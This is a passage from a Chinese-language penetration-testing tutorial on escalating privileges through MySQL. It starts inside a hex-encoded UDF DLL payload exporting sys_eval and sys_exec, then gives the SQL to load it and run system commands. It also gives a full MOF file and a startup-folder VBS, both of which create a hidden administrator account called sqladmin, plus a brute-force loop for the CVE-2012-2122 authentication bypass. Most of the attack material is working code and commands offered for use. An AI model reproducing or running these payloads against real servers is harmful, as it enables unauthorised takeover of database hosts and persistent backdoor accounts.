546a045357ffd58d871702000080207f8060287f585054505357ffd558618d4424806a0039c475fa83ec80e9ad98ffff0000004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030001010220010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c467265650000006672656500000000000000004afe9f5a0000000058840000010000001200000012000000a4830000ec8300003484000021100000a312000000100000a4120000a3120000a0120000cc110000a31200009811000086110000a31200009811000076100000a3120000431000002e1100001a110000a91000006d84000083840000a0840000bb840000c7840000da840000eb840000f484000004850000128500001b8500002b8500003985000041850000508500005d850000658500007485000000000100020003000400050006000700080009000a000b000c000d000e000f00100011006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f62696e6576616c007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e69740000000000700000100000006d3c683e6c3e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
select data from temp into dumpfile "D:\\phpStudy2016\\MySQL\\lib\\plugin\\udf.dll";
create function sys_eval returns string soname 'udf.dll'; #创建函数sys_eval
特别注意
Can't open shared library 'udf.dll' (errno: 193 )
如果在create function sys_eval returns string soname 'udf.dll'; 遇到这个说明你dll不对或者过于老旧,从kali中找一个全新的dll
kali中udf提权dll的位置 /usr/share/metasploit-framework/data/exploits/mysql/ 复制出来即可,选择的dll的版本和mysql版本要相同
写入之后我们就可以执行命令了,执行命令发现已经提升为管理员权限
select * from mysql.func where name = 'sys_eval'; #查看创建的sys_eval函数
select sys_eval('whoami'); #使用系统命令
当然我们也可用现成的udf提权脚本
MOF提权
简介
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
MOF提权的条件要求十分严苛:
- windows 03 及以下版本
- mysql 启动身份具有权限去读写 c:/windows/system32/wbem/mof 目录
- secure-file-priv 参数不为 null
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\") WSH.run(\"net.exe user sqladmin admin /add&&net.exe localgroup administrators sqladmin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = ;
Filter = ;
};
- 保存为 1.mof,然后 mysql 执行:select load_file('D:/wwwroot/1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
- mof 被执行的话,会帮我们添加一个叫 sqladmin 的用户.
我们提权成功后,就算被删号,mof 也会在五秒内将原账号重建,那么我们如何删掉我们的入侵账号呢?
net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt
启动项提权
这个利用vbs开机启动来执行命令,服务器需要重启
提权条件
- secure_file_priv不为 null
- 已知 root 密码
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user sqladmin 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators sqladmin /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
历史漏洞
MySql身份认证绕过漏洞(CVE-2012-2122)
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
受影响版本:
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
- MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
使用docker配置好vulhub的环境
漏洞验证payload
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
注意:mysql服务器的防火墙要关闭,其次就是测试太多次错误会被ban掉,我们进入之后执行这两条即可
flush hosts;
set global max_connect_errors = 1000;
网上还有用msf的,但是我msf没有测试成功,反而因为这个被ban了
CVE-2016-6662
https://www.anquanke.com/post/id/84557#h2-5